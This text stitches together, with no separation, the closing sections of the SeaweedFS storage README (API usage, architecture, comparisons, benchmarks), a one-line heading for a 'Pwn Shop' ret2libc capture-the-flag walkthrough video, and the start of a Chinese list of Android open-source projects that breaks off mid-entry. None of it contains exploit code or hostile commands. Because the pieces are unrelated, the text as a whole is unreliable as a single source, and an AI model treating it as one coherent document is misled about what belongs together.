Pulls](https://img.shields.io/docker/pulls/chrislusf/seaweedfs-csi-driver.svg?maxAge=4800)](https://hub.docker.com/r/chrislusf/seaweedfs-csi-driver/) * [SeaweedFS Operator](https://github.com/seaweedfs/seaweedfs-operator) [Filer]: https://github.com/seaweedfs/seaweedfs/wiki/Directories-and-Files [SuperLargeFiles]: https://github.com/seaweedfs/seaweedfs/wiki/Data-Structure-for-Large-Files [Mount]: https://github.com/seaweedfs/seaweedfs/wiki/FUSE-Mount [AmazonS3API]: https://github.com/seaweedfs/seaweedfs/wiki/Amazon-S3-API [BackupToCloud]: https://github.com/seaweedfs/seaweedfs/wiki/Async-Replication-to-Cloud [Hadoop]: https://github.com/seaweedfs/seaweedfs/wiki/Hadoop-Compatible-File-System [WebDAV]: https://github.com/seaweedfs/seaweedfs/wiki/WebDAV [ErasureCoding]: https://github.com/seaweedfs/seaweedfs/wiki/Erasure-coding-for-warm-storage [TieredStorage]: https://github.com/seaweedfs/seaweedfs/wiki/Tiered-Storage [CloudTier]: https://github.com/seaweedfs/seaweedfs/wiki/Cloud-Tier [FilerDataEncryption]: https://github.com/seaweedfs/seaweedfs/wiki/Filer-Data-Encryption [FilerTTL]: https://github.com/seaweedfs/seaweedfs/wiki/Filer-Stores [VolumeServerTTL]: https://github.com/seaweedfs/seaweedfs/wiki/Store-file-with-a-Time-To-Live [SeaweedFsCsiDriver]: https://github.com/seaweedfs/seaweedfs-csi-driver [ActiveActiveAsyncReplication]: https://github.com/seaweedfs/seaweedfs/wiki/Filer-Active-Active-cross-cluster-continuous-synchronization [FilerStoreReplication]: https://github.com/seaweedfs/seaweedfs/wiki/Filer-Store-Replication [KeyLargeValueStore]: https://github.com/seaweedfs/seaweedfs/wiki/Filer-as-a-Key-Large-Value-Store [CloudDrive]: https://github.com/seaweedfs/seaweedfs/wiki/Cloud-Drive-Architecture [GatewayToRemoteObjectStore]: https://github.com/seaweedfs/seaweedfs/wiki/Gateway-to-Remote-Object-Storage [Back to TOC](#table-of-contents) ## Example: Using Seaweed Object Store ## By default, the master node runs on port 9333, and the volume nodes run on port 8080. Let's start one master node, and two volume nodes on port 8080 and 8081. Ideally, they should be started from different machines. We'll use localhost as an example. SeaweedFS uses HTTP REST operations to read, write, and delete. The responses are in JSON or JSONP format. ### Start Master Server ### ``` > ./weed master ``` ### Start Volume Servers ### ``` > weed volume -dir="/tmp/data1" -max=5 -mserver="localhost:9333" -port=8080 & > weed volume -dir="/tmp/data2" -max=10 -mserver="localhost:9333" -port=8081 & ``` ### Write File ### To upload a file: first, send a HTTP POST, PUT, or GET request to `/dir/assign` to get an `fid` and a volume server URL: ``` > curl http://localhost:9333/dir/assign {"count":1,"fid":"3,01637037d6","url":"127.0.0.1:8080","publicUrl":"localhost:8080"} ``` Second, to store the file content, send a HTTP multi-part POST request to `url + '/' + fid` from the response: ``` > curl -F file=@/home/chris/myphoto.jpg http://127.0.0.1:8080/3,01637037d6 {"name":"myphoto.jpg","size":43234,"eTag":"1cc0118e"} ``` To update, send another POST request with updated file content. For deletion, send an HTTP DELETE request to the same `url + '/' + fid` URL: ``` > curl -X DELETE http://127.0.0.1:8080/3,01637037d6 ``` ### Save File Id ### Now, you can save the `fid`, 3,01637037d6 in this case, to a database field. The number 3 at the start represents a volume id. After the comma, it's one file key, 01, and a file cookie, 637037d6. The volume id is an unsigned 32-bit integer. The file key is an unsigned 64-bit integer. The file cookie is an unsigned 32-bit integer, used to prevent URL guessing. The file key and file cookie are both coded in hex. You can store the <volume id, file key, file cookie> tuple in your own format, or simply store the `fid` as a string. If stored as a string, in theory, you would need 8+1+16+8=33 bytes. A char(33) would be enough, if not more than enough, since most uses will not need 2^32 volumes. If space is really a concern, you can store the file id in your own format. You would need one 4-byte integer for volume id, 8-byte long number for file key, and a 4-byte integer for the file cookie. So 16 bytes are more than enough. ### Read File ### Here is an example of how to render the URL. First look up the volume server's URLs by the file's volumeId: ``` > curl http://localhost:9333/dir/lookup?volumeId=3 {"volumeId":"3","locations":[{"publicUrl":"localhost:8080","url":"localhost:8080"}]} ``` Since (usually) there are not too many volume servers, and volumes don't move often, you can cache the results most of the time. Depending on the replication type, one volume can have multiple replica locations. Just randomly pick one location to read. Now you can take the public URL, render the URL or directly read from the volume server via URL: ``` http://localhost:8080/3,01637037d6.jpg ``` Notice we add a file extension ".jpg" here. It's optional and just one way for the client to specify the file content type. If you want a nicer URL, you can use one of these alternative URL formats: ``` http://localhost:8080/3/01637037d6/my_preferred_name.jpg http://localhost:8080/3/01637037d6.jpg http://localhost:8080/3,01637037d6.jpg http://localhost:8080/3/01637037d6 http://localhost:8080/3,01637037d6 ``` If you want to get a scaled version of an image, you can add some params: ``` http://localhost:8080/3/01637037d6.jpg?height=200&width=200 http://localhost:8080/3/01637037d6.jpg?height=200&width=200&mode=fit http://localhost:8080/3/01637037d6.jpg?height=200&width=200&mode=fill ``` ### Rack-Aware and Data Center-Aware Replication ### SeaweedFS applies the replication strategy at a volume level. So, when you are getting a file id, you can specify the replication strategy. For example: ``` curl http://localhost:9333/dir/assign?replication=001 ``` The replication parameter options are: ``` 000: no replication 001: replicate once on the same rack 010: replicate once on a different rack, but same data center 100: replicate once on a different data center 200: replicate twice on two different data center 110: replicate once on a different rack, and once on a different data center ``` More details about replication can be found [on the wiki][Replication]. [Replication]: https://github.com/seaweedfs/seaweedfs/wiki/Replication You can also set the default replication strategy when starting the master server. ### Allocate File Key on Specific Data Center ### Volume servers can be started with a specific data center name: ``` weed volume -dir=/tmp/1 -port=8080 -dataCenter=dc1 weed volume -dir=/tmp/2 -port=8081 -dataCenter=dc2 ``` When requesting a file key, an optional "dataCenter" parameter can limit the assigned volume to the specific data center. For example, this specifies that the assigned volume should be limited to 'dc1': ``` http://localhost:9333/dir/assign?dataCenter=dc1 ``` ### Other Features ### * [No Single Point of Failure][feat-1] * [Insert with your own keys][feat-2] * [Chunking large files][feat-3] * [Collection as a Simple Name Space][feat-4] [feat-1]: https://github.com/seaweedfs/seaweedfs/wiki/Failover-Master-Server [feat-2]: https://github.com/seaweedfs/seaweedfs/wiki/Optimization#insert-with-your-own-keys [feat-3]: https://github.com/seaweedfs/seaweedfs/wiki/Optimization#upload-large-files [feat-4]: https://github.com/seaweedfs/seaweedfs/wiki/Optimization#collection-as-a-simple-name-space [Back to TOC](#table-of-contents) ## Object Store Architecture ## Usually distributed file systems split each file into chunks, a central master keeps a mapping of filenames, chunk indices to chunk handles, and also which chunks each chunk server has. The main drawback is that the central master can't handle many small files efficiently, and since all read requests need to go through the chunk master, so it might not scale well for many concurrent users. Instead of managing chunks, SeaweedFS manages data volumes in the master server. Each data volume is 32GB in size, and can hold a lot of files. And each storage node can have many data volumes. So the master node only needs to store the metadata about the volumes, which is a fairly small amount of data and is generally stable. The actual file metadata is stored in each volume on volume servers. Since each volume server only manages metadata of files on its own disk, with only 16 bytes for each file, all file access can read file metadata just from memory and only needs one disk operation to actually read file data. For comparison, consider that an xfs inode structure in Linux is 536 bytes. ### Master Server and Volume Server ### The architecture is fairly simple. The actual data is stored in volumes on storage nodes. One volume server can have multiple volumes, and can both support read and write access with basic authentication. All volumes are managed by a master server. The master server contains the volume id to volume server mapping. This is fairly static information, and can be easily cached. On each write request, the master server also generates a file key, which is a growing 64-bit unsigned integer. Since write requests are not generally as frequent as read requests, one master server should be able to handle the concurrency well. ### Write and Read files ### When a client sends a write request, the master server returns (volume id, file key, file cookie, volume node URL) for the file. The client then contacts the volume node and POSTs the file content. When a client needs to read a file based on (volume id, file key, file cookie), it asks the master server by the volume id for the (volume node URL, volume node public URL), or retrieves this from a cache. Then the client can GET the content, or just render the URL on web pages and let browsers fetch the content. Please see the example for details on the write-read process. ### Storage Size ### In the current implementation, each volume can hold 32 gibibytes (32GiB or 8x2^32 bytes). This is because we align content to 8 bytes. We can easily increase this to 64GiB, or 128GiB, or more, by changing 2 lines of code, at the cost of some wasted padding space due to alignment. There can be 4 gibibytes (4GiB or 2^32 bytes) of volumes. So the total system size is 8 x 4GiB x 4GiB which is 128 exbibytes (128EiB or 2^67 bytes). Each individual file size is limited to the volume size. ### Saving memory ### All file meta information stored on an volume server is readable from memory without disk access. Each file takes just a 16-byte map entry of <64bit key, 32bit offset, 32bit size>. Of course, each map entry has its own space cost for the map. But usually the disk space runs out before the memory does. ### Tiered Storage to the cloud ### The local volume servers are much faster, while cloud storages have elastic capacity and are actually more cost-efficient if not accessed often (usually free to upload, but relatively costly to access). With the append-only structure and O(1) access time, SeaweedFS can take advantage of both local and cloud storage by offloading the warm data to the cloud. Usually hot data are fresh and warm data are old. SeaweedFS puts the newly created volumes on local servers, and optionally upload the older volumes on the cloud. If the older data are accessed less often, this literally gives you unlimited capacity with limited local servers, and still fast for new data. With the O(1) access time, the network latency cost is kept at minimum. If the hot/warm data is split as 20/80, with 20 servers, you can achieve storage capacity of 100 servers. That's a cost saving of 80%! Or you can repurpose the 80 servers to store new data also, and get 5X storage throughput. [Back to TOC](#table-of-contents) ## Compared to Other File Systems ## Most other distributed file systems seem more complicated than necessary. SeaweedFS is meant to be fast and simple, in both setup and operation. If you do not understand how it works when you reach here, we've failed! Please raise an issue with any questions or update this file with clarifications. SeaweedFS is constantly moving forward. Same with other systems. These comparisons can be outdated quickly. Please help to keep them updated. [Back to TOC](#table-of-contents) ### Compared to HDFS ### HDFS uses the chunk approach for each file, and is ideal for storing large files. SeaweedFS is ideal for serving relatively smaller files quickly and concurrently. SeaweedFS can also store extra large files by splitting them into manageable data chunks, and store the file ids of the data chunks into a meta chunk. This is managed by "weed upload/download" tool, and the weed master or volume servers are agnostic about it. [Back to TOC](#table-of-contents) ### Compared to GlusterFS, Ceph ### The architectures are mostly the same. SeaweedFS aims to store and read files fast, with a simple and flat architecture. The main differences are * SeaweedFS optimizes for small files, ensuring O(1) disk seek operation, and can also handle large files. * SeaweedFS statically assigns a volume id for a file. Locating file content becomes just a lookup of the volume id, which can be easily cached. * SeaweedFS Filer metadata store can be any well-known and proven data store, e.g., Redis, Cassandra, HBase, Mongodb, Elastic Search, MySql, Postgres, Sqlite, MemSql, TiDB, CockroachDB, Etcd, YDB etc, and is easy to customize. * SeaweedFS Volume server also communicates directly with clients via HTTP, supporting range queries, direct uploads, etc. | System | File Metadata | File Content Read| POSIX | REST API | Optimized for large number of small files | | ------------- | ------------------------------- | ---------------- | ------ | -------- | ------------------------- | | SeaweedFS | lookup volume id, cacheable | O(1) disk seek | | Yes | Yes | | SeaweedFS Filer| Linearly Scalable, Customizable | O(1) disk seek | FUSE | Yes | Yes | | GlusterFS | hashing | | FUSE, NFS | | | | Ceph | hashing + rules | | FUSE | Yes | | | MooseFS | in memory | | FUSE | | No | | MinIO | separate meta file for each file | | | Yes | No | [Back to TOC](#table-of-contents) ### Compared to GlusterFS ### GlusterFS stores files, both directories and content, in configurable volumes called "bricks". GlusterFS hashes the path and filename into ids, and assigned to virtual volumes, and then mapped to "bricks". [Back to TOC](#table-of-contents) ### Compared to MooseFS ### MooseFS chooses to neglect small file issue. From moosefs 3.0 manual, "even a small file will occupy 64KiB plus additionally 4KiB of checksums and 1KiB for the header", because it "was initially designed for keeping large amounts (like several thousands) of very big files" MooseFS Master Server keeps all meta data in memory. Same issue as HDFS namenode. [Back to TOC](#table-of-contents) ### Compared to Ceph ### Ceph can be setup similar to SeaweedFS as a key->blob store. It is much more complicated, with the need to support layers on top of it. [Here is a more detailed comparison](https://github.com/seaweedfs/seaweedfs/issues/120) SeaweedFS has a centralized master group to look up free volumes, while Ceph uses hashing and metadata servers to locate its objects. Having a centralized master makes it easy to code and manage. Ceph, like SeaweedFS, is based on the object store RADOS. Ceph is rather complicated with mixed reviews. Ceph uses CRUSH hashing to automatically manage data placement, which is efficient to locate the data. But the data has to be placed according to the CRUSH algorithm. Any wrong configuration would cause data loss. Topology changes, such as adding new servers to increase capacity, will cause data migration with high IO cost to fit the CRUSH algorithm. SeaweedFS places data by assigning them to any writable volumes. If writes to one volume failed, just pick another volume to write. Adding more volumes is also as simple as it can be. SeaweedFS is optimized for small files. Small files are stored as one continuous block of content, with at most 8 unused bytes between files. Small file access is O(1) disk read. SeaweedFS Filer uses off-the-shelf stores, such as MySql, Postgres, Sqlite, Mongodb, Redis, Elastic Search, Cassandra, HBase, MemSql, TiDB, CockroachCB, Etcd, YDB, to manage file directories. These stores are proven, scalable, and easier to manage. | SeaweedFS | comparable to Ceph | advantage | | ------------- | ------------- | ---------------- | | Master | MDS | simpler | | Volume | OSD | optimized for small files | | Filer | Ceph FS | linearly scalable, Customizable, O(1) or O(logN) | [Back to TOC](#table-of-contents) ### Compared to MinIO ### MinIO follows AWS S3 closely and is ideal for testing for S3 API. It has good UI, policies, versionings, etc. SeaweedFS is trying to catch up here. It is also possible to put MinIO as a gateway in front of SeaweedFS later. MinIO metadata are in simple files. Each file write will incur extra writes to corresponding meta file. MinIO does not have optimization for lots of small files. The files are simply stored as is to local disks. Plus the extra meta file and shards for erasure coding, it only amplifies the LOSF problem. MinIO has multiple disk IO to read one file. SeaweedFS has O(1) disk reads, even for erasure coded files. MinIO has full-time erasure coding. SeaweedFS uses replication on hot data for faster speed and optionally applies erasure coding on warm data. MinIO does not have POSIX-like API support. MinIO has specific requirements on storage layout. It is not flexible to adjust capacity. In SeaweedFS, just start one volume server pointing to the master. That's all. ## Dev Plan ## * More tools and documentation, on how to manage and scale the system. * Read and write stream data. * Support structured data. This is a super exciting project! And we need helpers and [support](https://www.patreon.com/seaweedfs)! [Back to TOC](#table-of-contents) ## Installation Guide ## > Installation guide for users who are not familiar with golang Step 1: install go on your machine and setup the environment by following the instructions at: https://golang.org/doc/install make sure to define your $GOPATH Step 2: checkout this repo: ```bash git clone https://github.com/seaweedfs/seaweedfs.git ``` Step 3: download, compile, and install the project by executing the following command ```bash cd seaweedfs/weed && make install ``` Once this is done, you will find the executable "weed" in your `$GOPATH/bin` directory [Back to TOC](#table-of-contents) ## Disk Related Topics ## ### Hard Drive Performance ### When testing read performance on SeaweedFS, it basically becomes a performance test of your hard drive's random read speed. Hard drives usually get 100MB/s~200MB/s. ### Solid State Disk ### To modify or delete small files, SSD must delete a whole block at a time, and move content in existing blocks to a new block. SSD is fast when brand new, but will get fragmented over time and you have to garbage collect, compacting blocks. SeaweedFS is friendly to SSD since it is append-only. Deletion and compaction are done on volume level in the background, not slowing reading and not causing fragmentation. [Back to TOC](#table-of-contents) ## Benchmark ## My Own Unscientific Single Machine Results on Mac Book with Solid State Disk, CPU: 1 Intel Core i7 2.6GHz. Write 1 million 1KB file: ``` Concurrency Level: 16 Time taken for tests: 66.753 seconds Completed requests: 1048576 Failed requests: 0 Total transferred: 1106789009 bytes Requests per second: 15708.23 [#/sec] Transfer rate: 16191.69 [Kbytes/sec] Connection Times (ms) min avg max std Total: 0.3 1.0 84.3 0.9 Percentage of the requests served within a certain time (ms) 50% 0.8 ms 66% 1.0 ms 75% 1.1 ms 80% 1.2 ms 90% 1.4 ms 95% 1.7 ms 98% 2.1 ms 99% 2.6 ms 100% 84.3 ms ``` Randomly read 1 million files: ``` Concurrency Level: 16 Time taken for tests: 22.301 seconds Completed requests: 1048576 Failed requests: 0 Total transferred: 1106812873 bytes Requests per second: 47019.38 [#/sec] Transfer rate: 48467.57 [Kbytes/sec] Connection Times (ms) min avg max std Total: 0.0 0.3 54.1 0.2 Percentage of the requests served within a certain time (ms) 50% 0.3 ms 90% 0.4 ms 98% 0.6 ms 99% 0.7 ms 100% 54.1 ms ``` [Back to TOC](#table-of-contents) ## License ## Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. The text of this page is available for modification and reuse under the terms of the Creative Commons Attribution-Sharealike 3.0 Unported License and the GNU Free Documentation License (unversioned, with no invariant sections, front-cover texts, or back-cover texts). [Back to TOC](#table-of-contents) ## Stargazers over time [![Stargazers over time](https://starchart.cc/chrislusf/seaweedfs.svg)](https://starchart.cc/chrislusf/seaweedfs)
# Pwn Shop: ret2libc with stack pivot **[SEE VIDEO WALKTHROUGH HERE](https://youtu.be/RNqJjO3uf98)**
Android 开源项目分类汇总,最新最全版可见 [codekk.com](https://p.codekk.com/) ==================== Other: [English Version](https://github.com/Trinea/android-open-project/tree/master/English%20Version), [繁體版](https://github.com/Trinea/android-open-project/tree/master/%E7%B9%81%E9%AB%94%E4%B8%AD%E6%96%87%E7%89%88), [Website Version](https://p.codekk.com/). ### 一、codekk.com <a href="https://codekk.com" target="_blank">codekk.com</a> 收集了数万开源项目。支持最新开源项目查看和自动推送、支持开源项目搜索,欢迎浏览 :) ### 二、开发助手 App 开发助手是个强大的开发工具,由 Trinea 从 2017 年初正式对外发布。它能够用来反编译其他应用、查看其他应用布局和控件信息、屏幕取色(颜色取样器)、查看 Activity 历史记录、查看其他应用 Manifest、查看最近使用和最近安装的应用、提取任何应用 Apk 和 So 文件、查看最新开源项目、调试应用、查看手机软硬件信息等,更多功能持续添加中。 可从各大手机应用市场搜素`开发助手`下载,包括 **小米应用商店**、**华为应用商店**、**Vivo 应用市场**、**Opp 应用市场**、**[Google Play](https://play.google.com/store/apps/details?id=cn.trinea.android.developertools)**、[酷安](https://coolapk.com/apk/cn.trinea.android.developertools)**、[应用宝](http://android.myapp.com/myapp/detail.htm?apkName=cn.trinea.android.developertools)** ![](https://lh3.googleusercontent.com/ERb20Y50r3u_tZMMlqpH5cnS_MC_n366WoKvEjJyFfHz6d-EwvhaEUf7ZKAgRajboTWR=w720-h440-rw) ### 三、微信公众号 codekk 专注于技术分享、职业成长、互联网内推、开发助手版本更新,二维码如下: ![img](https://www.trinea.cn/wp-content/uploads/2016/01/weixin-codekk-160.jpg) ### 四、关于我,欢迎关注 GitHub: <a href="https://github.com/Trinea">Trinea</a> &nbsp;&nbsp;&nbsp;&nbsp;微博:<a title="Android 技术及移动互联网分享" href="http://weibo.com/trinea?s=6cm7D0" target="_blank">Trinea</a>&nbsp;&nbsp;&nbsp;&nbsp;个人主页:<a title="关注于 Android、Java、性能优化、开源项目" href="https://www.trinea.cn/" target="_blank">trinea.cn</a> 给朋友分享本站:<a href="http://service.weibo.com/share/share.php?url=https%3A%2F%2Fgithub.com%2FTrinea%2Fandroid-open-project&title=Android%E5%BC%80%E6%BA%90%E9%A1%B9%E7%9B%AE%E5%88%86%E7%B1%BB%E6%B1%87%E6%80%BB%EF%BC%8C%E6%B1%87%E9%9B%86250%E5%A4%9A%E4%B8%AA%E5%BC%80%E6%BA%90%E9%A1%B9%E7%9B%AE%EF%BC%8C%E5%8C%85%E6%8cB%AC%E4%B8%AA%E6%80%A7%E5%8C%96%E6%8E%A7%E4%BB%B6%E3%80%81%E5%B7%A5%E5%85%B7%E5%BA%93%E3%80%81%E4%BC%98%E7%A7%80%E9%A1%B9%E7%9B%AE%E3%80%81%E5%BC%80%E5%8F%91%E5%8F%8A%E6%B5%8B%E8%AF%95%E5%B7%A5%E5%85%B7%E3%80%81%E4%BC%98%E7%A7%80%E4%B8%AA%E4%BA%BA%E5%92%8C%E5%9B%A2%E4%BD%93%40Trinea+&appkey=1657413438&searchPic=true" target="_blank" title="分享到新浪微博" style="width:100%"><img src="http://farm8.staticflickr.com/7342/13103239365_e5cd37fbac_o.png" title="分享到新浪微博"/></a>&nbsp;&nbsp;&nbsp;&nbsp;<a href="http://sns.qzone.qq.com/cgi-bin/qzshare/cgi_qzshare_onekey?url=https%3A%2F%2Fgithub.com%2FTrinea%2Fandroid-open-project&title=Android%E5%BC%80%E6%BA%90%E9%A1%B9%E7%9B%AE%E5%88%86%E7%B1%BB%E6%B1%87%E6%80%BB%EF%BC%8C%E6%B1%87%E9%9B%86250%E5%A4%9A%E4%B8%AA%E5%BC%80%E6%BA%90%E9%A1%B9%E7%9B%AE%EF%BC%8C%E5%8C%85%E6%8B%AC%E4%B8%AA%E6%80%A7%E5%8C%96%E6%8E%A7%E4%BB%B6%E3%80%81%E5%B7%A5%E5%85%B7%E5%BA%93%E3%80%81%E4%BC%98%E7%A7%80%E9%A1%B9%E7%9B%AE%E3%80%81%E5%BC%80%E5%8F%91%E5%8F%8A%E6%B5%8B%E8%AF%95%E5%B7%A5%E5%85%B7%E3%80%81%E4%BC%98%E7%A7%80%E4%B8%AA%E4%BA%BA%E5%92%8C%E5%9B%A2%E4%BD%93%40Trinea+&desc=&summary=&site=www.trinea.cn" target="_blank" title="分享到 QQ 空间" style="width:100%"><img src="http://farm8.staticflickr.com/7418/13103935825_209bd521f0_o.jpg"/></a>&nbsp;&nbsp;&nbsp;&nbsp;<a href="https://twitter.com/intent/tweet?text=Android%E5%BC%80%E6%BA%90%E9%A1%B9%E7%9B%AE%E5%88%86%E7%B1%BB%E6%B1%87%E6%80%BB%EF%BC%8C%E6%B1%87%E9%9B%86250%E5%A4%9A%E4%B8%AA%E5%BC%80%E6%BA%90%E9%A1%B9%E7%9B%AE%EF%BC%8C%E5%8C%85%E6%8B%AC%E4%B8%AA%E6%80%A7%E5%8C%96%E6%8E%A7%E4%BB%B6%E3%80%81%E5%B7%A5%E5%85%B7%E5%BA%93%E3%80%81%E4%BC%98%E7%A7%80%E9%A1%B9%E7%9B%AE%E3%80%81%E5%BC%80%E5%8F%91%E5%8F%8A%E6%B5%8B%E8%AF%95%E5%B7%A5%E5%85%B7%E3%80%81%E4%BC%98%E7%A7%80%E4%B8%AA%E4%BA%BA%E5%92%8C%E5%9B%A2%E4%BD%93%40trinea_cn+https%3A%2F%2Fgithub.com%2FTrinea%2Fandroid-open-project&pic=" target="_blank" title="Share on twitter" style="width:100%"><img src="http://farm4.staticflickr.com/3764/13104038813_03933d4394_o.png"/></a>&nbsp;&nbsp;&nbsp;&nbsp;<a href="https://www.facebook.com/sharer/sharer.php?u=https%3A%2F%2Fgithub.com%2FTrinea%2Fandroid-open-project&t=Android%E5%BC%80%E6%BA%90%E9%A1%B9%E7%9B%AE%E5%88%86%E7%B1%BB%E6%B1%87%E6%80%BB%EF%BC%8C%E6%B1%87%E9%9B%86250%E5%A4%9A%E4%B8%AA%E5%BC%80%E6%BA%90%E9%A1%B9%E7%9B%AE%EF%BC%8C%E5%8C%85%E6%8B%AC%E4%B8%AA%E6%80%A7%E5%8C%96%E6%8E%A7%E4%BB%B6%E3%80%81%E5%B7%A5%E5%85%B7%E5%BA%93%E3%80%81%E4%BC%98%E7%A7%80%E9%A1%B9%E7%9B%AE%E3%80%81%E5%BC%80%E5%8F%91%E5%8F%8A%E6%B5%8B%E8%AF%95%E5%B7%A5%E5%85%B7%E3%80%81%E4%BC%98%E7%A7%80%E4%B8%AA%E4%BA%BA%E5%92%8C%E5%9B%A2%E4%BD%93%40Trinea+&pic" target="_blank" title="Share on facebook" style="width:100%"><img src="http://farm4.staticflickr.com/3801/13104038583_b03d5cafac_o.png"/></a> ## 目前包括(内容比较陈旧,最新最全及不断更新版本请见 <a href="https://codekk.com" target="_blank">codekk.com</a>): >[Android 开源项目第一篇——个性化控件(View)篇](https://github.com/Trinea/android-open-project#%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E4%B8%AA%E6%80%A7%E5%8C%96%E6%8E%A7%E4%BB%B6view) *&nbsp;&nbsp;包括[ListView](https://github.com/Trinea/android-open-project#%E4%B8%80listview)、[ActionBar](https://github.com/Trinea/android-open-project#%E4%BA%8Cactionbar)、[Menu](https://github.com/Trinea/android-open-project#%E4%B8%89menu)、[ViewPager](https://github.com/Trinea/android-open-project#%E5%9B%9Bviewpager-gallery)、[Gallery](https://github.com/Trinea/android-open-project#%E5%9B%9Bviewpager-gallery)、[GridView](https://github.com/Trinea/android-open-project#%E4%BA%94gridview)、[ImageView](https://github.com/Trinea/android-open-project#%E5%85%ADimageview)、[ProgressBar](https://github.com/Trinea/android-open-project#%E4%B8%83progressbar)、[TextView](https://github.com/Trinea/android-open-project#%E5%85%ABtextview)、[ScrollView](https://github.com/Trinea/android-open-project#%E4%B9%9Dscrollview)、[TimeView](https://github.com/Trinea/android-open-project#%E5%8D%81timeview)、[TipView](https://github.com/Trinea/android-open-project#%E5%8D%81%E4%B8%80tipview)、[FlipView](https://github.com/Trinea/android-open-project#%E5%8D%81%E4%BA%8Cflipview)、[ColorPickView](https://github.com/Trinea/android-open-project#%E5%8D%81%E4%B8%89colorpickview)、[GraphView](https://github.com/Trinea/android-open-project#%E5%8D%81%E5%9B%9Bgraphview)、[UI Style](https://github.com/Trinea/android-open-project#%E5%8D%81%E4%BA%94ui-style)、[其他](https://github.com/Trinea/android-open-project#十六其他)* [Android 开源项目第二篇——工具库篇](https://github.com/Trinea/android-open-project#%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E5%B7%A5%E5%85%B7%E5%BA%93) *&nbsp;&nbsp;包括[依赖注入](https://github.com/Trinea/android-open-project#一依赖注入-di)、[图片缓存](https://github.com/Trinea/android-open-project#二图片缓存)、[网络请求](https://github.com/Trinea/android-open-project#三网络请求)、[数据库 ORM 工具包](https://github.com/Trinea/android-open-project#四数据库-orm-工具包)、[Android 公共库](https://github.com/Trinea/android-open-project#五android-公共库)、[高版本向低版本兼容库](https://github.com/Trinea/android-open-project#六android-高版本向低版本兼容)、[多媒体](https://github.com/Trinea/android-open-project#七多媒体相关)、[事件总线](https://github.com/Trinea/android-open-project#八事件总线订阅者模式)、[传感器](https://github.com/Trinea/android-open-project#九传感器)、[安全](https://github.com/Trinea/android-open-project#十安全)、[插件化](https://github.com/Trinea/android-open-project#十一插件化)、[文件](https://github.com/Trinea/android-open-project#十二文件)、[其他](https://github.com/Trinea/android-open-project#十三其他)* [Android 开源项目第三篇——优秀项目篇](https://github.com/Trinea/android-open-project#%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E4%BC%98%E7%A7%80%E9%A1%B9%E7%9B%AE) *&nbsp;&nbsp;比较有意思的完整的 Android 项目* [Android 开源项目第四篇——开发及测试工具篇](https://github.com/Trinea/android-open-project#%E7%AC%AC%E5%9B%9B%E9%83%A8%E5%88%86-%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7%E5%8F%8A%E6%B5%8B%E8%AF%95%E5%B7%A5%E5%85%B7) *&nbsp;&nbsp;包括[开发效率工具](https://github.com/Trinea/android-open-project#一开发效率工具)、[开发自测相关](https://github.com/Trinea/android-open-project#二开发自测相关)、[测试工具](https://github.com/Trinea/android-open-project#三测试工具)、[开发及编译环境](https://github.com/Trinea/android-open-project#四开发及编译环境)、[其他](https://github.com/Trinea/android-open-project#五其他)* [Android 开源项目第五篇——优秀个人和团体篇](https://github.com/Trinea/android-open-project#%E7%AC%AC%E4%BA%94%E9%83%A8%E5%88%86) *&nbsp;&nbsp;乐于分享并且有一些很不错的开源项目的[个人](https://github.com/Trinea/android-open-project#一个人)和[组织](https://github.com/Trinea/android-open-project#二组织),包括 JakeWharton、Chris Banes、Koushik Dutta 等大牛* ## 第一部分 个性化控件(View) 主要介绍那些不错个性化的 View,包括 ListView、ActionBar、Menu、ViewPager、Gallery、GridView、ImageView、ProgressBar、TextView、ScrollView、TimeView、TipView、FlipView、ColorPickView、GraphView、UI Style 等等。 #### 一、ListView 1. android-pulltorefresh 一个强大的拉动刷新开源项目,支持各种控件下拉刷新,ListView、ViewPager、WebView、ExpandableListView、GridView、ScrollView、Horizontal ScrollView、Fragment 上下左右拉动刷新,比下面 johannilsson 那个只支持 ListView 的强大的多。并且它实现的下拉刷新 ListView 在 item 不足一屏情况下也不会显示刷新提示,体验更好。 项目地址:https://github.com/chrisbanes/Android-PullToRefresh Demo 地址:https://github.com/Trinea/TrineaDownload/blob/master/pull-to-refreshview-demo.apk?raw=true APP 示例:新浪微博各个页面 1. android-pulltorefresh-listview 下拉刷新 ListView,这个被很多人使用的项目实际有不少 bug,推荐使用 [android-Ultra-Pull-to-Refresh](https://github.com/liaohuqiu/android-Ultra-Pull-To-Refresh) 项目地址:https://github.com/johannilsson/android-pulltorefresh Demo 地址:https://github.com/Trinea/TrineaDownload/blob/master/pull-to-refresh-listview-demo.apk?raw=true 1. android-Ultra-Pull-to-Refresh 下拉刷新,第一个项目已经停止维护了,并且使用起来相对复杂,定制性也差。这个是替代和改良方案。这个继承于 ViewGroup 可以包含任何 View。功能甚至比 SwipeRefreshLayout 强大。使用起来非常简单。良好的设计,如果你想定制自己的 UI 样式,非常简单,就像给 ListView 加一个 Header View 那么简单。支持 `API LEVEL >= 8` 项目地址:https://github.com/liaohuqiu/android-Ultra-Pull-To-Refresh 原理剖析文档:[android-Ultra-Pull-to-Refresh](https://a.codekk.com/detail/Android/Grumoon/android-Ultra-Pull-To-Refresh 源码解析) Demo 地址:https://raw.githubusercontent.com/liaohuqiu/android-Ultra-Pull-To-Refresh/master/ptr-demo.apk 效果图:![Renderings](http://srain-github.qiniudn.com/ultra-ptr/contains-all-of-views.gif) http://srain-github.qiniudn.com/ultra-ptr/release-to-refresh.gif http://srain-github.qiniudn.com/ultra-ptr/auto-refresh.gif http://srain-github.qiniudn.com/ultra-ptr/store-house-string-array.gif 1. Android-PullToRefreshRecyclerView 支持下拉刷新的RecyclerView,同时支持滑动到底部自动加载数据、给RecyclerView添加Header。并且不更改原有RecyclerView的逻辑。 ![Screenshot](https://github.com/HomHomLin/Android-PullToRefreshRecyclerView/blob/master/screenshot.gif) 项目地址:https://github.com/HomHomLin/Android-PullToRefreshRecyclerView Demo地址:https://github.com/HomHomLin/Android-PullToRefreshRecyclerView/blob/master/sample.apk 1. DragSortListView 拖动排序的 ListView,同时支持 ListView 滑动 item 删除,各个 